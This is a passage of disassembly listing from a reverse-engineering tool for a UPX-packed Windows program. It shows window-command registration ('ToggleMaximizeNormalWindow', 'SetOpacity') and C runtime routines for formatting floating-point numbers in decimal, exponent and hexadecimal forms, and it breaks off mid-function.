		push	offset aTogglemaximize ; "ToggleMaximizeNormalWindow"
		mov	ecx, edi
		call	sub_418122
		xor	ecx, ecx
		push	ecx
		mov	eax, offset loc_4179AF
		push	eax
		push	ebx
		push	offset aSetopacity ; "SetOpacity"
		mov	ecx, edi
		call	sub_418122
		mov	eax, edi
		call	sub_40C50C
		retn	8
sub_418A96	endp ; sp-analysis failed

; [00000048 BYTES: COLLAPSED FUNCTION __SEH_prolog4_GS.	PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __SEH_epilog4_GS.	PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_418C38	proc near		; CODE XREF: sub_418C98+5p
		mov	eax, offset sub_419823
		mov	dword_42ACF0, eax
		mov	dword_42ACF4, offset sub_418F0A
		mov	dword_42ACF8, offset sub_418EBE
		mov	dword_42ACFC, offset sub_418EF7
		mov	dword_42AD00, offset sub_418E60
		mov	dword_42AD04, eax
		mov	dword_42AD08, offset sub_41979B
		mov	dword_42AD0C, offset sub_418E7C
		mov	dword_42AD10, offset sub_418DDE
		mov	dword_42AD14, offset sub_418D6B
		retn
sub_418C38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C98	proc near		; CODE XREF: sub_40DB8F+20p
					; DATA XREF: UPX0:off_424D00o

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		call	sub_418C38
		call	sub_4198AF
		cmp	[ebp+arg_0], 0
		mov	dword_42F130, eax
		jz	short loc_418CB7
		call	sub_419846


loc_418CB7:				; CODE XREF: sub_418C98+18j
		fnclex
		pop	ebp
		retn
sub_418C98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4098E0+1FAp

var_24		= dword	ptr -24h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= word ptr -4

		cmp	dword_430144, 0
		jz	short loc_418CF6


loc_418CC9:				; CODE XREF: sub_418CC0+34j
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		and	esp, 0FFFFFFF8h
		fstp	[esp+0Ch+var_C]
		cvttsd2si eax, [esp+0Ch+var_C]
		leave
		retn
; ---------------------------------------------------------------------------
		cmp	dword_430144, 0
		jz	short loc_418CF6
		sub	esp, 4
		fnstcw	[esp+4+var_4]
		pop	eax
		and	ax, 7Fh
		cmp	ax, 7Fh
		jz	short loc_418CC9


loc_418CF6:				; CODE XREF: sub_418CC0+7j
					; sub_418CC0+23j
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	dword ptr [esp+24h+var_C]
		fistp	[esp+24h+var_14]
		fild	[esp+24h+var_14]
		mov	edx, dword ptr [esp+24h+var_C]
		mov	eax, dword ptr [esp+24h+var_14]
		test	eax, eax
		jz	short loc_418D55


loc_418D19:				; CODE XREF: sub_418CC0+9Fj
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_418D3D
		fstp	[esp+24h+var_24]
		mov	ecx, [esp+24h+var_24]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+24h+var_14+4]
		adc	edx, 0
		jmp	short locret_418D69
; ---------------------------------------------------------------------------


loc_418D3D:				; CODE XREF: sub_418CC0+5Dj
		fstp	[esp+24h+var_24]
		mov	ecx, [esp+24h+var_24]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+24h+var_14+4]
		sbb	edx, 0
		jmp	short locret_418D69
; ---------------------------------------------------------------------------


loc_418D55:				; CODE XREF: sub_418CC0+57j
		mov	edx, dword ptr [esp+24h+var_14+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_418D19
		fstp	dword ptr [esp+24h+var_C]
		fstp	dword ptr [esp+24h+var_C]

locret_418D69:				; CODE XREF: sub_418CC0+7Bj
					; sub_418CC0+93j
		leave
		retn
sub_418CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D6B	proc near		; CODE XREF: sub_418EF7+Ap
					; DATA XREF: sub_418C38+55o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	esi, [ebp+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_4166BA
		cmp	eax, 65h
		jmp	short loc_418D9C
; ---------------------------------------------------------------------------


loc_418D90:				; CODE XREF: sub_418D6B+32j
		inc	esi
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_415847
		test	eax, eax


loc_418D9C:				; CODE XREF: sub_418D6B+23j
		pop	ecx
		jnz	short loc_418D90
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_4166BA
		pop	ecx
		cmp	eax, 78h
		jnz	short loc_418DB0
		inc	esi
		inc	esi


loc_418DB0:				; CODE XREF: sub_418D6B+41j
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	al, [esi]
		mov	cl, [ecx]
		mov	[esi], cl
		inc	esi


loc_418DC2:				; CODE XREF: sub_418D6B+62j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_418DC2
		pop	esi
		cmp	[ebp+var_4], cl
		jz	short locret_418DDC
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_418DDC:				; CODE XREF: sub_418D6B+68j
		leave
		retn
sub_418D6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DDE	proc near		; CODE XREF: sub_418F0A+Ap
					; DATA XREF: sub_418C38+4Bo

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	esi, [ebp+var_10]
		test	cl, cl
		jz	short loc_418E13
		mov	edx, [esi+0BCh]
		mov	edx, [edx]
		mov	dl, [edx]


loc_418E08:				; CODE XREF: sub_418DDE+33j
		cmp	cl, dl
		jz	short loc_418E13
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_418E08


loc_418E13:				; CODE XREF: sub_418DDE+1Ej
					; sub_418DDE+2Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_418E50
		jmp	short loc_418E27
; ---------------------------------------------------------------------------


loc_418E1C:				; CODE XREF: sub_418DDE+4Dj
		cmp	cl, 65h
		jz	short loc_418E2D
		cmp	cl, 45h
		jz	short loc_418E2D
		inc	eax


loc_418E27:				; CODE XREF: sub_418DDE+3Cj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_418E1C


loc_418E2D:				; CODE XREF: sub_418DDE+41j
					; sub_418DDE+46j
		mov	edx, eax


loc_418E2F:				; CODE XREF: sub_418DDE+55j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_418E2F
		mov	ecx, [esi+0BCh]
		mov	ecx, [ecx]
		push	ebx
		mov	bl, [eax]
		cmp	bl, [ecx]
		pop	ebx
		jnz	short loc_418E46
		dec	eax


loc_418E46:				; CODE XREF: sub_418DDE+65j
					; sub_418DDE+70j
		mov	cl, [edx]
		inc	eax
		inc	edx
		mov	[eax], cl
		test	cl, cl
		jnz	short loc_418E46


loc_418E50:				; CODE XREF: sub_418DDE+3Aj
		cmp	[ebp+var_4], 0
		pop	esi
		jz	short locret_418E5E
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_418E5E:				; CODE XREF: sub_418DDE+77j
		leave
		retn
sub_418DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E60	proc near		; DATA XREF: sub_418C38+28o

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		fldz
		mov	eax, [ebp+arg_0]
		fcomp	qword ptr [eax]
		fnstsw	ax
		test	ah, 41h
		jp	short loc_418E78
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418E78:				; CODE XREF: sub_418E60+11j
		xor	eax, eax
		pop	ebp
		retn
sub_418E60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418EBE+10p
					; DATA XREF: sub_418C38+41o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		jz	short loc_418EA8
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4198D8
		mov	ecx, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_418EB9
; ---------------------------------------------------------------------------


loc_418EA8:				; CODE XREF: sub_418E7C+11j
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_419980
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_418EB9:				; CODE XREF: sub_418E7C+2Aj
		add	esp, 0Ch
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EBE	proc near		; DATA XREF: sub_418C38+14o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418E7C
		add	esp, 10h
		pop	ebp
		retn
sub_418EBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED8	proc near		; CODE XREF: sub_418F1D+8Ap
					; sub_4194EF+8Cp ...
		mov	edi, edi
		push	esi
		mov	esi, eax
		test	edi, edi
		jz	short loc_418EF5
		push	esi
		call	sub_40BFB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_40CA30
		add	esp, 10h


loc_418EF5:				; CODE XREF: sub_418ED8+7j
		pop	esi
		retn
sub_418ED8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; DATA XREF: sub_418C38+1Eo

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_418D6B
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F0A	proc near		; DATA XREF: sub_418C38+Ao

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_0]
		call	sub_418DDE
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_418F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F1D	proc near		; CODE XREF: sub_41908C+B9p
					; sub_4196A1+E3p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_10]
		mov	ebx, eax
		call	sub_40C799
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_418F66


loc_418F3B:				; CODE XREF: sub_418F1D+4Cj
		call	sub_40C862
		push	16h


loc_418F42:				; CODE XREF: sub_418F1D+69j
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_418F5F
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_418F5F:				; CODE XREF: sub_418F1D+39j
		mov	eax, edi
		jmp	loc_419087
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418F1D+1Cj
		cmp	[ebp+arg_0], esi
		jbe	short loc_418F3B
		cmp	[ebp+arg_4], esi
		jle	short loc_418F75
		mov	eax, [ebp+arg_4]
		jmp	short loc_418F77
; ---------------------------------------------------------------------------


loc_418F75:				; CODE XREF: sub_418F1D+51j
		xor	eax, eax


loc_418F77:				; CODE XREF: sub_418F1D+56j
		add	eax, 9
		cmp	[ebp+arg_0], eax
		ja	short loc_418F88
		call	sub_40C862
		push	22h
		jmp	short loc_418F42
; ---------------------------------------------------------------------------


loc_418F88:				; CODE XREF: sub_418F1D+60j
		cmp	[ebp+arg_10], 0
		jz	short loc_418FAC
		mov	edx, [ebp+arg_C]
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [edx], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_418ED8


loc_418FAC:				; CODE XREF: sub_418F1D+6Fj
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi], 2Dh
		mov	esi, ebx
		jnz	short loc_418FBC
		mov	byte ptr [ebx],	2Dh
		lea	esi, [ebx+1]


loc_418FBC:				; CODE XREF: sub_418F1D+97j
		cmp	[ebp+arg_4], 0
		jle	short loc_418FDA
		lea	eax, [esi+1]
		mov	cl, [eax]
		mov	[esi], cl
		mov	esi, eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al


loc_418FDA:				; CODE XREF: sub_418F1D+A3j
		xor	eax, eax
		cmp	[ebp+arg_10], al
		setz	al
		add	eax, [ebp+arg_4]
		add	esi, eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_418FF2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_418FF7
; ---------------------------------------------------------------------------


loc_418FF2:				; CODE XREF: sub_418F1D+CEj
		sub	ebx, esi
		add	ebx, [ebp+arg_0]


loc_418FF7:				; CODE XREF: sub_418F1D+D3j
		push	offset byte_424D0C
		push	ebx
		push	esi
		call	sub_40CD95
		add	esp, 0Ch
		xor	ebx, ebx
		test	eax, eax
		jz	short loc_419019
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40B12D
		add	esp, 14h


loc_419019:				; CODE XREF: sub_418F1D+EDj
		lea	ecx, [esi+2]
		cmp	[ebp+arg_8], ebx
		jz	short loc_419024
		mov	byte ptr [esi],	45h


loc_419024:				; CODE XREF: sub_418F1D+102j
		mov	eax, [edi+0Ch]
		inc	esi
		cmp	byte ptr [eax],	30h
		jz	short loc_41905B
		mov	eax, [edi+4]
		dec	eax
		jns	short loc_419038
		neg	eax
		mov	byte ptr [esi],	2Dh


loc_419038:				; CODE XREF: sub_418F1D+114j
		inc	esi
		cmp	eax, 64h
		jl	short loc_419048
		cdq
		push	64h
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx


loc_419048:				; CODE XREF: sub_418F1D+11Fj
		inc	esi
		cmp	eax, 0Ah
		jl	short loc_419058
		cdq
		push	0Ah
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx


loc_419058:				; CODE XREF: sub_418F1D+12Fj
		add	[esi+1], al


loc_41905B:				; CODE XREF: sub_418F1D+10Ej
		test	byte_42F134, 1
		jz	short loc_419078
		cmp	byte ptr [ecx],	30h
		jnz	short loc_419078
		push	3
		lea	eax, [ecx+1]
		push	eax
		push	ecx
		call	sub_40CA30
		add	esp, 0Ch


loc_419078:				; CODE XREF: sub_418F1D+145j
					; sub_418F1D+14Aj
		cmp	[ebp+var_4], 0
		jz	short loc_419085
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_419085:				; CODE XREF: sub_418F1D+15Fj
		xor	eax, eax


loc_419087:				; CODE XREF: sub_418F1D+44j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418F1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41908C	proc near		; CODE XREF: sub_41915C+16p
					; sub_41979B+7Ep

var_2C		= dword	ptr -2Ch
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_419BA4
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_4190DE


loc_4190C6:				; CODE XREF: sub_41908C+57j
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40B255
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41914D
; ---------------------------------------------------------------------------


loc_4190DE:				; CODE XREF: sub_41908C+38j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_4190C6
		mov	esi, [ebp+arg_C]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4190F2
		or	eax, 0FFFFFFFFh
		jmp	short loc_419106
; ---------------------------------------------------------------------------


loc_4190F2:				; CODE XREF: sub_41908C+5Fj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		sub	eax, ecx


loc_419106:				; CODE XREF: sub_41908C+64j
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	ecx, [esi+1]
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		add	eax, edi
		add	ecx, eax
		push	ecx
		call	sub_419A28
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_419134
		mov	[edi], bl
		jmp	short loc_41914D
; ---------------------------------------------------------------------------


loc_419134:				; CODE XREF: sub_41908C+A2j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		mov	eax, edi
		push	esi
		push	[ebp+arg_8]
		call	sub_418F1D
		add	esp, 18h


loc_41914D:				; CODE XREF: sub_41908C+50j
					; sub_41908C+A6j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_41908C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41915C	proc near		; CODE XREF: sub_41917C+BFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41908C
		add	esp, 18h
		pop	ebp
		retn
sub_41915C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41917C	proc near		; CODE XREF: sub_41979B+65p

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_24]
		mov	[ebp+var_14], 3FFh
		xor	edi, edi
		mov	[ebp+var_4], 30h
		call	sub_40C799
		cmp	[ebp+arg_C], edi
		jge	short loc_4191A9
		mov	[ebp+arg_C], edi


loc_4191A9:				; CODE XREF: sub_41917C+28j
		mov	esi, [ebp+arg_4]
		cmp	esi, edi
		jnz	short loc_4191DB


loc_4191B0:				; CODE XREF: sub_41917C+62j
		call	sub_40C862
		push	16h


loc_4191B7:				; CODE XREF: sub_41917C+79j
		pop	esi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	[eax], esi
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_18], 0
		jz	short loc_4191D4
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4191D4:				; CODE XREF: sub_41917C+4Fj
		mov	eax, esi
		jmp	loc_4194EB
; ---------------------------------------------------------------------------


loc_4191DB:				; CODE XREF: sub_41917C+32j
		cmp	[ebp+arg_8], edi
		jbe	short loc_4191B0
		mov	eax, [ebp+arg_C]
		add	eax, 0Bh
		mov	byte ptr [esi],	0
		cmp	[ebp+arg_8], eax
		ja	short loc_4191F7
		call	sub_40C862
		push	22h
		jmp	short loc_4191B7
; ---------------------------------------------------------------------------


loc_4191F7:				; CODE XREF: sub_41917C+70j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	[ebp+var_C], eax
		mov	eax, [edi+4]
		mov	ecx, eax
		shr	ecx, 14h
		mov	edx, 7FFh
		push	ebx
		and	ecx, edx
		xor	ebx, ebx
		cmp	ecx, edx
		jnz	loc_4192A9
		test	ebx, ebx
		jnz	loc_4192A9
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41922D
		or	eax, eax
		jmp	short loc_419230
; ---------------------------------------------------------------------------


loc_41922D:				; CODE XREF: sub_41917C+ABj
		add	eax, 0FFFFFFFEh


loc_419230:				; CODE XREF: sub_41917C+AFj
		push	0
		push	[ebp+arg_C]
		lea	ebx, [esi+2]
		push	eax
		push	ebx
		push	edi
		call	sub_41915C
		add	esp, 14h
		test	eax, eax
		jz	short loc_419260
		cmp	[ebp+var_18], 0
		mov	byte ptr [esi],	0
		jz	loc_4194EA
		mov	ecx, [ebp+var_1C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_4194EA
; ---------------------------------------------------------------------------


loc_419260:				; CODE XREF: sub_41917C+C9j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_419269
		mov	byte ptr [esi],	2Dh
		inc	esi


loc_419269:				; CODE XREF: sub_41917C+E7j
		mov	byte ptr [esi],	30h
		inc	esi
		cmp	[ebp+arg_10], 0
		push	65h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		inc	esi
		push	esi
		call	sub_415CA0
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4194DB
		cmp	[ebp+arg_10], 0
		setz	cl
		dec	cl
		and	cl, 0E0h
		add	cl, 70h
		mov	[eax], cl
		mov	byte ptr [eax+3], 0
		jmp	loc_4194DB
; ---------------------------------------------------------------------------


loc_4192A9:				; CODE XREF: sub_41917C+97j
					; sub_41917C+9Fj
		and	eax, 80000000h
		xor	ecx, ecx
		or	ecx, eax
		jz	short loc_4192B8
		mov	byte ptr [esi],	2Dh
		inc	esi


loc_4192B8:				; CODE XREF: sub_41917C+136j
		mov	ebx, [ebp+arg_10]
		mov	byte ptr [esi],	30h
		inc	esi
		test	ebx, ebx
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		mov	ecx, [edi+4]
		inc	esi
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 0FFFFFFE0h
		and	ecx, 7FF00000h
		xor	eax, eax
		add	ebx, 27h
		xor	edx, edx
		or	eax, ecx
		jnz	short loc_419309
		mov	byte ptr [esi],	30h
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		inc	esi
		or	eax, ecx
		jnz	short loc_419300
		mov	[ebp+var_14], edx
		jmp	short loc_41930D
; ---------------------------------------------------------------------------


loc_419300:				; CODE XREF: sub_41917C+17Dj
		mov	[ebp+var_14], 3FEh
		jmp	short loc_41930D
; ---------------------------------------------------------------------------


loc_419309:				; CODE XREF: sub_41917C+16Aj
		mov	byte ptr [esi],	31h
		inc	esi


loc_41930D:				; CODE XREF: sub_41917C+182j
					; sub_41917C+18Bj
		mov	eax, esi
		inc	esi
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_C], edx
		jnz	short loc_41931C
		mov	[eax], dl
		jmp	short loc_41932B
; ---------------------------------------------------------------------------


loc_41931C:				; CODE XREF: sub_41917C+19Aj
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	cl, [ecx]
		mov	[eax], cl


loc_41932B:				; CODE XREF: sub_41917C+19Ej
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		mov	[ebp+var_8], ecx
		ja	short loc_419343
		cmp	eax, edx
		jbe	loc_4193F8


loc_419343:				; CODE XREF: sub_41917C+1BDj
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], 0F0000h


loc_41934D:				; CODE XREF: sub_41917C+222j
		cmp	[ebp+arg_C], 0
		jle	short loc_4193A0
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_419D20
		add	ax, 30h
		movzx	eax, ax
		cmp	ax, 39h
		jbe	short loc_41937C
		add	eax, ebx


loc_41937C:				; CODE XREF: sub_41917C+1FCj
		mov	ecx, [ebp+var_8]
		sub	[ebp+var_4], 4
		mov	[esi], al
		mov	eax, [ebp+var_C]
		shrd	eax, ecx, 4
		shr	ecx, 4
		inc	esi
		dec	[ebp+arg_C]
		cmp	word ptr [ebp+var_4], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], ecx
		jge	short loc_41934D


loc_4193A0:				; CODE XREF: sub_41917C+1D5j
		cmp	word ptr [ebp+var_4], 0
		jl	short loc_4193F8
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_419D20
		cmp	ax, 8
		jbe	short loc_4193F8
		lea	eax, [esi-1]


loc_4193CA:				; CODE XREF: sub_41917C+25Ej
		mov	cl, [eax]
		cmp	cl, 66h
		jz	short loc_4193D6
		cmp	cl, 46h
		jnz	short loc_4193DC


loc_4193D6:				; CODE XREF: sub_41917C+253j
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4193CA
; ---------------------------------------------------------------------------


loc_4193DC:				; CODE XREF: sub_41917C+258j
		cmp	eax, [ebp+arg_4]
		jz	short loc_4193F5
		mov	cl, [eax]
		cmp	cl, 39h
		jnz	short loc_4193EF
		add	bl, 3Ah
		mov	[eax], bl
		jmp	short loc_4193F8
; ---------------------------------------------------------------------------


loc_4193EF:				; CODE XREF: sub_41917C+26Aj
		inc	cl
		mov	[eax], cl
		jmp	short loc_4193F8
; ---------------------------------------------------------------------------


loc_4193F5:				; CODE XREF: sub_41917C+263j
		inc	byte ptr [eax-1]


loc_4193F8:				; CODE XREF: sub_41917C+1C1j
					; sub_41917C+229j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_41940F
		push	[ebp+arg_C]
		push	30h
		push	esi
		call	sub_40BD40
		add	esp, 0Ch
		add	esi, [ebp+arg_C]


loc_41940F:				; CODE XREF: sub_41917C+280j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_419419
		mov	esi, eax


loc_419419:				; CODE XREF: sub_41917C+299j
		cmp	[ebp+arg_10], 0
		mov	cl, 34h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 70h
		mov	[esi], al
		mov	eax, [edi]
		mov	edx, [edi+4]
		inc	esi
		call	sub_419D20
		xor	ebx, ebx
		and	eax, 7FFh
		and	edx, ebx
		sub	eax, [ebp+var_14]
		push	ebx
		pop	ecx
		sbb	edx, ecx
		js	short loc_419453
		jg	short loc_41944D
		cmp	eax, ebx
		jb	short loc_419453


loc_41944D:				; CODE XREF: sub_41917C+2CBj
		mov	byte ptr [esi],	2Bh
		inc	esi
		jmp	short loc_41945D
; ---------------------------------------------------------------------------


loc_419453:				; CODE XREF: sub_41917C+2C9j
					; sub_41917C+2CFj
